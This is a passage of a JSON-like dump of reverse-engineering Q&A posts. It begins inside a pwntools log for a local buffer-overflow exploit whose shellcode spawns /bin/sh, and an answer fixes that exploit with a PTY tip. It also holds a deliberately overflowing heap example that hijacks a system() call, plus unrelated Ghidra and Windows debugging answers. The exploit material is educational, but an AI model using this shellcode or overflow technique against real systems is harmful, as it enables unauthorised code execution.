pc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:', b'XDG_CURRENT_DESKTOP': b'ubuntu:GNOME', b'VTE_VERSION': b'6003', b'GNOME_TERMINAL_SCREEN': b'/org/gnome/Terminal/screen/ff3cb1d9_3c32_4305_b119_f9818ba98eb0', b'INVOCATION_ID': b'f6142bf9cd0a472eadfed7888909b8da', b'MANAGERPID': b'3551', b'GJS_DEBUG_OUTPUT': b'stderr', b'GEM_HOME': b'/home/n/gems', b'LESSCLOSE': b'/usr/bin/lesspipe %s %s', b'XDG_SESSION_CLASS': b'user', b'TERM': b'xterm-256color', b'LC_IDENTIFICATION': b'en_US.UTF-8', b'DEFAULTS_PATH': b'/usr/share/gconf/ubuntu.default.path', b'LESSOPEN': b'| /usr/bin/lesspipe %s', b'USER': b'n', b'GNOME_TERMINAL_SERVICE': b':1.166', b'DISPLAY': b':0', b'SHLVL': b'1', b'LC_TELEPHONE': b'en_US.UTF-8', b'QT_IM_MODULE': b'ibus', b'LC_MEASUREMENT': b'en_US.UTF-8', b'PAPERSIZE': b'letter', b'XDG_RUNTIME_DIR': b'/run/user/1000', b'LC_TIME': b'en_US.UTF-8', b'JOURNAL_STREAM': b'9:50754', b'XDG_DATA_DIRS': b'/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop', b'PATH': b'/home/n/gems/bin:/home/n/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin', b'GDMSESSION': b'ubuntu', b'DBUS_SESSION_BUS_ADDRESS': b'unix:path=/run/user/1000/bus', b'LC_NUMERIC': b'en_US.UTF-8', b'_': b'/usr/bin/python3', b'OLDPWD': b'/home/n/Documents/Exploitation'} : pid 21335\n[DEBUG] Received 0x1d bytes:\n    b'Buffer is at 0x7fffffffdd40.\\n'\nReceived: b'Buffer is at 0x7fffffffdd40.\\n'\nUsing address: b'@\\xdd\\xff\\xff\\xff\\x7f\\x00\\x00'\nUsing payload:\nb&quot;H1\\xc0H1\\xff\\xb0\\x03\\x0f\\x05PH\\xbf/dev/ttyWT_P^f\\xbe\\x02'\\xb0\\x02\\x0f\\x05H1\\xc0\\xb0;H1\\xdbS\\xbbn/shH\\xc1\\xe3\\x10f\\xbbbiH\\xc1\\xe3\\x10\\xb7/SH\\x89\\xe7H\\x83\\xc7\\x01H1\\xf6H1\\xd2\\x0f\\x05\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90@\\xdd\\xff\\xff\\xff\\x7f\\x00\\x00&quot;\n\n[DEBUG] Sent 0x110 bytes:\n    00000000  48 31 c0 48  31 ff b0 03  0f 05 50 48  bf 2f 64 65  \u2502H1\u00b7H\u25021\u00b7\u00b7\u00b7\u2502\u00b7\u00b7PH\u2502\u00b7/de\u2502\n    00000010  76 2f 74 74  79 57 54 5f  50 5e 66 be  02 27 b0 02  \u2502v/tt\u2502yWT_\u2502P^f\u00b7\u2502\u00b7'\u00b7\u00b7\u2502\n    00000020  0f 05 48 31  c0 b0 3b 48  31 db 53 bb  6e 2f 73 68  \u2502\u00b7\u00b7H1\u2502\u00b7\u00b7;H\u25021\u00b7S\u00b7\u2502n/sh\u2502\n    00000030  48 c1 e3 10  66 bb 62 69  48 c1 e3 10  b7 2f 53 48  \u2502H\u00b7\u00b7\u00b7\u2502f\u00b7bi\u2502H\u00b7\u00b7\u00b7\u2502\u00b7/SH\u2502\n    00000040  89 e7 48 83  c7 01 48 31  f6 48 31 d2  0f 05 90 90  \u2502\u00b7\u00b7H\u00b7\u2502\u00b7\u00b7H1\u2502\u00b7H1\u00b7\u2502\u00b7\u00b7\u00b7\u00b7\u2502\n    00000050  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  \u2502\u00b7\u00b7\u00b7\u00b7\u2502\u00b7\u00b7\u00b7\u00b7\u2502\u00b7\u00b7\u00b7\u00b7\u2502\u00b7\u00b7\u00b7\u00b7\u2502\n    *\n    00000100  90 90 90 90  90 90 90 90  40 dd ff ff  ff 7f 00 00  \u2502\u00b7\u00b7\u00b7\u00b7\u2502\u00b7\u00b7\u00b7\u00b7\u2502@\u00b7\u00b7\u00b7\u2502\u00b7\u00b7\u00b7\u00b7\u2502\n    00000110\n[*] Switching to interactive mode\n$ \n[DEBUG] Sent 0x1 bytes:\n    10 * 0x1\n[DEBUG] Received 0x2 bytes:\n    b'$ '\n$ $ \n[DEBUG] Sent 0x1 bytes:\n    10 * 0x1\n[*] Got EOF while sending in interactive\n</code></pre>\n<p>Edit 2: I attached a debugger to my program by changing <code>p = process(&quot;./bof&quot;)</code> to <code>p = gdb.debug(&quot;./bof&quot;)</code>. I set a breakpoint at <code>main</code> and stepped through the program. It did eventually execute my shellcode correctly. However, after the last syscall in my shellcode executed, I got the following instead of getting a shell:</p>\n<pre><code>0x00007fffffffdd8c in ?? ()\n[ Legend: Modified register | Code | Heap | Stack | String ]\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 registers \u2500\u2500\u2500\u2500\n$rax   : 0x3b              \n$rbx   : 0x68732f6e69622f00\n$rcx   : 0x00007fffffffdd62  \u2192  0xdb31483bb0c03148\n$rdx   : 0x0               \n$rsp   : 0x00007fffffffde30  \u2192  0x68732f6e69622f00\n$rbp   : 0x9090909090909090\n$rsi   : 0x0               \n$rdi   : 0x00007fffffffde31  \u2192  0x0068732f6e69622f (&quot;/bin/sh&quot;?)\n$rip   : 0x00007fffffffdd8c  \u2192  0x909090909090050f\n$r8    : 0xfffffffffffffff9\n$r9    : 0x114             \n$r10   : 0x0000555555556032  \u2192   add BYTE PTR [rax], al\n$r11   : 0x346             \n$r12   : 0x0000555555555080  \u2192  &lt;_start+0&gt; endbr64 \n$r13   : 0x00007fffffffdf30  \u2192  0x0000000000000001\n$r14   : 0x0               \n$r15   : 0x0               \n$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]\n$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 \n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 stack \u2500\u2500\u2500\u2500\n0x00007fffffffde30\u2502+0x0000: 0x68732f6e69622f00   \u2190 $rsp\n0x00007fffffffde38\u2502+0x0008: 0x0000000000000000\n0x00007fffffffde40\u2502+0x0010: &quot;/dev/tty&quot;\n0x00007fffffffde48\u2502+0x0018: 0x0000000000000000\n0x00007fffffffde50\u2502+0x0020: 0x00007ffff7ff000a  \u2192   add BYTE PTR [rbp-0x77], cl\n0x00007fffffffde58\u2502+0x0028: 0x00007fffffffdf38  \u2192  0x00007fffffffe2ab  \u2192  0x485300666f622f2e (&quot;./bof&quot;?)\n0x00007fffffffde60\u2502+0x0030: 0x0000000100000000\n0x00007fffffffde68\u2502+0x0038: 0x0000555555555169  \u2192  &lt;main+0&gt; endbr64 \n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 code:x86:64 \u2500\u2500\u2500\u2500\n   0x7fffffffdd82                  add    rdi, 0x1\n   0x7fffffffdd86                  xor    rsi, rsi\n   0x7fffffffdd89                  xor    rdx, rdx\n \u2192 0x7fffffffdd8c                  syscall \n   0x7fffffffdd8e                  nop    \n   0x7fffffffdd8f                  nop    \n   0x7fffffffdd90                  nop    \n   0x7fffffffdd91                  nop    \n   0x7fffffffdd92                  nop    \n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 threads \u2500\u2500\u2500\u2500\n[#0] Id 1, Name: &quot;bof&quot;, stopped, reason: SINGLE STEP\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 trace \u2500\u2500\u2500\u2500\n[#0] 0x7fffffffdd8c \u2192 syscall \n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\ngef\u27a4  \nprocess 32648 is executing new program: /bin/dash\nReading /bin/dash from remote target...\nReading /bin/dash from remote target...\nReading /bin/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...\nReading /bin/.debug/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...\nReading /usr/lib/debug//bin/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...\nReading /usr/lib/debug/bin//2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...\nReading target:/usr/lib/debug/bin//2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...\nError in re-setting breakpoint 1: Function &quot;main&quot; not defined.\nReading /lib64/ld-linux-x86-64.so.2 from remote target...\nReading /lib64/ld-linux-x86-64.so.2 from remote target...\nReading /lib64/ld-2.31.so from remote target...\nReading /lib64/.debug/ld-2.31.so from remote target...\nReading /usr/lib/debug//lib64/ld-2.31.so from remote target...\nReading /usr/lib/debug/lib64//ld-2.31.so from remote target...\nReading target:/usr/lib/debug/lib64//ld-2.31.so from remote target...\nReading /lib/x86_64-linux-gnu/libc.so.6 from remote target...\nReading /lib/x86_64-linux-gnu/libc-2.31.so from remote target...\nReading /lib/x86_64-linux-gnu/.debug/libc-2.31.so from remote target...\nReading /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.31.so from remote target...\nReading /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.31.so from remote target...\n</code></pre>\n",
        "Title": "Buffer overflow: pwntools does not give me a shell, despite exploit working without pwntools",
        "Tags": "|python|exploit|buffer-overflow|pwntools|",
        "Answer": "<p>If you change your process startup to</p>\n<pre><code>p = process([&quot;strace&quot;, &quot;-o&quot;, &quot;strace.out&quot;, &quot;./bof&quot;])\n</code></pre>\n<p>and check the resulting <code>strace.out</code> file, you will see:</p>\n<pre><code>close(0)                                = 0\nopen(&quot;/dev/tty&quot;, O_RDWR|O_NOCTTY|O_TRUNC|O_APPEND|FASYNC) = 0\nexecve(&quot;/bin/sh&quot;, NULL, NULL)           = 0\n...\nread(0, 0x55ae7a6d5aa0, 8192)           = -1 EIO (Input/output error)\n</code></pre>\n<p>So this has to do with shellcode reopening <code>stdin</code> as <code>/dev/tty</code>.</p>\n<p>Let's check <a href=\"https://docs.pwntools.com/en/stable/tubes/processes.html#pwnlib.tubes.process.process\" rel=\"nofollow noreferrer\">the doc</a>:</p>\n<pre><code>stdin (int) \u2013 File object or file descriptor number to use for stdin.\nBy default, a pipe is used. A pty can be used instead by setting this\nto PTY. This will cause programs to behave in an interactive manner\n(e.g.., python will show a &gt;&gt;&gt; prompt). If the application reads from\n/dev/tty directly, use a pty.\n</code></pre>\n<p>and do as it says:</p>\n<pre><code>p = process(&quot;./bof&quot;, stdin=PTY)\n</code></pre>\n<p>Voila!</p>\n<pre><code>[*] Switching to interactive mode\nType in your name: $ \n$ $ id -u\n1000\n</code></pre>\n"
    },
    {
        "Id": "26141",
        "CreationDate": "2020-10-21T06:37:30.130",
        "Body": "<p>I was trying out a simple heap overflow example (<a href=\"http://highaltitudehacks.com/2020/09/05/arm64-reversing-and-exploitation-part-1-arm-instruction-set-heap-overflow/\" rel=\"nofollow noreferrer\">http://highaltitudehacks.com/2020/09/05/arm64-reversing-and-exploitation-part-1-arm-instruction-set-heap-overflow/</a>) but replicated the relevant code in x86/x64 to understand it better. This is the code I used</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n\nint main(int argc, char *argv[])\n{\n    char *name = malloc(0x6);\n    char *command = malloc(0x6);\n    strcpy(command,&quot;whoami&quot;);\n    strcpy(name,&quot;zzzzzzzzzzzzzzzzls -l&quot;);\n\n    system(command);\n}\n</code></pre>\n<p>I noticed that if I compiled the code and ran it normally, I will get system to execute &quot;ls -l&quot; and does a folder listing. However, if I was stepping through the binary using lldb from start to midway and proceed to continue the rest of the execution while inside lldb, I will see &quot;whoami&quot; executed instead.</p>\n<p>I am testing this on a Mac OS and I am not sure if this is due to lldb or Mac OS behaviour?</p>\n",
        "Title": "Difference in binary behaviour (execution/under debugger)",
        "Tags": "|x86-64|lldb|",
        "Answer": "<p>For the overflow from <code>name</code> to <code>command</code> to work, the difference between the addresses of both should be 0x10 bytes.</p>\n<p>I verified what I mentioned in the case earlier - Adding</p>\n<pre><code>printf(&quot;%p:%p\\n&quot;, name, command);\n</code></pre>\n<p>Under a debugger stepping through main gives the addresses as</p>\n<pre><code>0x100404080:0x1002059f0\n</code></pre>\n<p>Here delta &gt; 0x10 bytes and hence the <code>name</code> <code>strcpy</code> would not overflow to <code>command</code></p>\n<p>while without stepping or without a debugger comes out</p>\n<pre><code>0x7fa890405830:0x7fa890405840\n</code></pre>\n<p>exactly 0x10 bytes.</p>\n"
    },
    {
        "Id": "26150",
        "CreationDate": "2020-10-22T09:59:07.027",
        "Body": "<p>people recommend windows for reverse engineering, I don't want to install windows as a virtual machine because they are laggy and I already have windows 10 as host, is it possible to use linux vm that already has tools installed instead.</p>\n<p>can i still download a windows malware and do reverse engineer it in linux vm.</p>\n",
        "Title": "Does the operating system you use matter?",
        "Tags": "|windows|linux|malware|operating-systems|",
        "Answer": "<p>It all depend of what you plan to reverse and how.</p>\n<p>For purely static analysis, your operating system don't really matter, since there are great tools for both Windows and Linux systems(and nowadays you can even run Linux tools in the Windows linux subsystem, or use wine to emulate Windows utils on a Linux native system).</p>\n<p>But if you have to run what your are reversing, and do some dynamic/behavioral analysis, you must have a setup that allows you to do so.</p>\n<p>You added the #malware tag in your post, for this specific case, you need a virtual environment for obvious reasons.</p>\n<p>No matter what is your 'main' operating system, I advise you to build a Linux AND a Windows virtual machine. You can snapshot them in a clean state, working on them as you want, drop your tools, break everything, infect them, undo and start again.</p>\n"
    },
    {
        "Id": "26151",
        "CreationDate": "2020-10-22T12:21:28.383",
        "Body": "<p>I'd like to debug Ghidra plugin scripts written in python using an IDE such as Eclipse.  I have installed Pydev and the GhidraDev plugin (from Ghidra open a script in Eclipse to autoinstall the plugin).</p>\n<p>With the plugin script opened in Eclipse, I'll set a breakpoint (e.g. on the print stmt below), then click Debug &gt; GhidraScripts to launch Ghidra, and finally manually initiate the script (see sample script below).  I see the thread and can pause the script thread from Eclipse, but the breakpoints are never hit.</p>\n<p>I've tried both GhidraScripts (Headless) and GUI based GhidraScript launch, however none of my break.</p>\n<pre><code># Hello Function Script\n# @author mechgt\n# @category _NEW_\n# @keybinding\n# @menupath\n# @toolbar\n\nimport ghidra\nimport time\n    \n# Iterate through functions, parsing and printing each\nfunction = getFirstFunction()\nwhile function is not None:\n    print(&quot;Function: {} Address: {}&quot;.format(function.getName(), function.getEntryPoint()))\n    time.sleep(3)\n    function = getFunctionAfter(function)\n</code></pre>\n<p><strong>How can I get debugging functionality for Ghidra Python scripts?</strong></p>\n<p>NOTE: The Eclipse/Ghidra/PyDev debugging issues appear related to a possible bug: <a href=\"https://github.com/NationalSecurityAgency/ghidra/issues/1707\" rel=\"nofollow noreferrer\">https://github.com/NationalSecurityAgency/ghidra/issues/1707</a></p>\n",
        "Title": "How can I debug Ghidra plugin Python scripts in IDE?",
        "Tags": "|debugging|ghidra|python|",
        "Answer": "<p>I don't use Eclipse for Ghidra myself, but as far as I just checked it should also support this. I can confirm that this approach (remote debugging plus Python stubs) works well with PyCharm.</p>\n<h3>Remote Debugging with pydevd</h3>\n<p>The basic idea is to use remote debugging with <code>pydevd</code> or similar. <a href=\"https://stackoverflow.com/a/41492711/13220684\">https://stackoverflow.com/a/41492711/13220684</a> explains the basic usage.</p>\n<p>The issue with this is that you will have to install <code>pydevd</code> inside the Ghidra Jython environment. The following is adapted from <a href=\"https://github.com/VDOO-Connected-Trust/ghidra-pyi-generator#python-packages\" rel=\"nofollow noreferrer\">https://github.com/VDOO-Connected-Trust/ghidra-pyi-generator#python-packages</a></p>\n<pre><code># Create a virtualenv for Ghidra packages.\n# It is important to use Python2.7 for this venv!\n# If you want, you can skip this step and use your default Python installation.\nmkvirtualenv ghidra\n \n# Create Jython's site-pacakges directory.\njython_site_packages=&quot;~/.local/lib/jython2.7/site-packages&quot;\nmkdir -p $jython_site_packages\n \n# Create a PTH file to point Jython to Python's site-packages directories.\n# Again, this has to be Python2.7.\n\n# Outside a virtualenv, use\npython -c &quot;import site; print(site.getusersitepackages()); print(site.getsitepackages()[-1])&quot; &gt; $jython_site_packages/python.pth\n\n# If using virtualenv, use the following instead\npython -c &quot;from distutils.sysconfig import get_python_lib; print(get_python_lib())&quot; &gt; $jython_site_packages/python.pth\n\n \n# Use pip to install packages for Ghidra\npip install pydevd\n</code></pre>\n<p>It should now be possible to <code>import pydevd</code> inside a Ghidra Python script (or even the integrated REPL).</p>\n<p>I don't remember if the GhidraDev plugin for eclipse provides tab completion for the <code>ghidra</code> module inside Python scripts, but this setup is generic enough that you are not required to use Eclipse anymore if you prefer another IDE for Python.</p>\n<p>The IDE only needs to support remote debugging via <code>pydevd</code>. I also strongly recommend using <a href=\"https://github.com/VDOO-Connected-Trust/ghidra-pyi-generator\" rel=\"nofollow noreferrer\">https://github.com/VDOO-Connected-Trust/ghidra-pyi-generator</a> if you are using another IDE to provide the type information, method signatures and docstrings of the Ghidra API to the IDE.</p>\n<h3>Another Workaround</h3>\n<p>Personally I use mostly <a href=\"https://github.com/justfoxing/ghidra_bridge\" rel=\"nofollow noreferrer\"><code>ghidra_bridge</code></a> and the previously mentioned type stubs for Python with Ghidra. Because <code>ghidra_bridge</code> is a full RPC interface, you can write a Python 3 script with full IDE support and run it via the IDE. <code>ghidra_bridge</code> then handles the connection to the Ghidra Python environment and proxies all the relevant objects. With the type stubs the IDE just treats the script as generic Python script and the <code>ghidra</code> module like any Python 3 module.</p>\n"
    },
    {
        "Id": "26157",
        "CreationDate": "2020-10-22T19:36:39.217",
        "Body": "<p>Here is a sample C code which prints Windows version directly from address\nof <a href=\"https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kuser_shared_data/index.htm\" rel=\"nofollow noreferrer\">KUSER_SHARED_DATA</a>. Tested in Windows 10 only. The raw memory address\ndiffer in Windows version but that's not the point.</p>\n<pre><code>#include &lt;stdio.h&gt;\n\nint main(void)\n{\n    wprintf(\n        L&quot;Version: %lu.%lu.%lu\\n&quot;,\n        *(unsigned int *)(0x7FFE0000 + 0x026C),\n        *(unsigned int *)(0x7FFE0000 + 0x0270),\n        *(unsigned int *)(0x7FFE0000 + 0x0260)\n    );\n}\n</code></pre>\n<p>Here are the decompiled code:</p>\n<p>In GHIDRA:</p>\n<pre><code>int main(int _Argc,char **_Argv,char **_Env)\n\n{\n    wprintf(L&quot;Version: %lu.%lu.%lu\\n&quot;,\n        (ulonglong)_DAT_7ffe026c,\n        (ulonglong)_DAT_7ffe0270,\n        (ulonglong)_DAT_7ffe0260);\n  return 0;\n}\n</code></pre>\n<p>In IDA Pro + Hex-Rays:</p>\n<pre><code>int __fastcall main()\n{\n    wprintf(L&quot;Version: %lu.%lu.%lu\\n&quot;,\n        MEMORY[0x7FFE026C],\n        MEMORY[0x7FFE0270],\n        MEMORY[0x7FFE0260]);\n  return 0;\n}\n</code></pre>\n<p>My question: In decompiled code, is it possible to show the memory address as\nthe member of KUSER_SHARED_DATA? For example, I want to show <code>MEMORY[0x7FFE0260]</code>\nas <code>SharedData.NtBuildNumber</code> or something similar to it.</p>\n",
        "Title": "How to show KUSER_SHARED_DATA members in decompiled C code?",
        "Tags": "|windows|decompilation|ghidra|hexrays|",
        "Answer": "<p>ghidra</p>\n<pre><code>addr = toAddr(0x7ffe0000)\ncurrentProgram.memory.createUninitializedBlock(&quot;KUSER_SHARED_PAGE&quot;,addr,0x1000,0)\ncreateData(addr,getDataTypes(&quot;KUSER_SHARED_DATA&quot;)[0])\n</code></pre>\n<p>result</p>\n<pre><code>undefined8 main(void)\n\n{\n  wprintf((__crt_locale_pointers *)L&quot;Version: %lu.%lu.%lu\\n&quot;,\n          (ulonglong)KUSER_SHARED_DATA_7ffe0000.NtMajorVersion,\n          (ulonglong)KUSER_SHARED_DATA_7ffe0000.NtMinorVersion,\n          (ulonglong)KUSER_SHARED_DATA_7ffe0000.NtBuildNumber);\n  return 0;\n}\n</code></pre>\n<p><strong>Method 1)</strong></p>\n<p>Use VirtualQuery to get the size<br />\nshown below is a python poc\ncompare the result to (MEMORY_BASIC_INFO *)foo.RegionSize</p>\n<pre><code>:\\&gt;cat vq.py\nfrom ctypes import *\nmeminfo =(c_ulong * 0x8)()\nwindll.kernel32.VirtualQuery(0x7ffe0000,byref(meminfo),sizeof(meminfo))\nfor i in meminfo:\n    print (hex(i))\n\n\n:\\&gt;python vq.py\n0x7ffe0000\n0x7ffe0000\n0x2\n0x1000\n0x1000\n0x2\n0x20000\n0x0\n</code></pre>\n<p><strong>Method 2)</strong></p>\n<p>use windbg !vprot to get the same</p>\n<pre><code>:\\&gt;cdb -c &quot;!vprot 7ffe0000;q&quot; cdb | awk &quot;/Reading/,/quit/&quot;\n0:000&gt; cdb: Reading initial command '!vprot 7ffe0000;q'\nBaseAddress:       7ffe0000\nAllocationBase:    7ffe0000\nAllocationProtect: 00000002  PAGE_READONLY\nRegionSize:        00001000\nState:             00001000  MEM_COMMIT\nProtect:           00000002  PAGE_READONLY\nType:              00020000  MEM_PRIVATE\nquit:\n</code></pre>\n<p><strong>Method 3)</strong></p>\n<p>use windbg !address to Get a more Verbose Details of the same Address Space</p>\n<pre><code>:\\&gt;cdb -c &quot;!address 7ffe0000;q&quot; cdb | awk &quot;/Usage:/,/quit/&quot;\nUsage:                  Other\nBase Address:           7ffe0000\nEnd Address:            7ffe1000\nRegion Size:            00001000 (   4.000 kB)\nState:                  00001000          MEM_COMMIT\nProtect:                00000002          PAGE_READONLY\nType:                   00020000          MEM_PRIVATE\nAllocation Base:        7ffe0000\nAllocation Protect:     00000002          PAGE_READONLY\nAdditional info:        User Shared Data\n\n\nContent source: 1 (target), length: 1000\nquit:\n</code></pre>\n"
    },
    {
        "Id": "26166",
        "CreationDate": "2020-10-24T03:06:22.003",
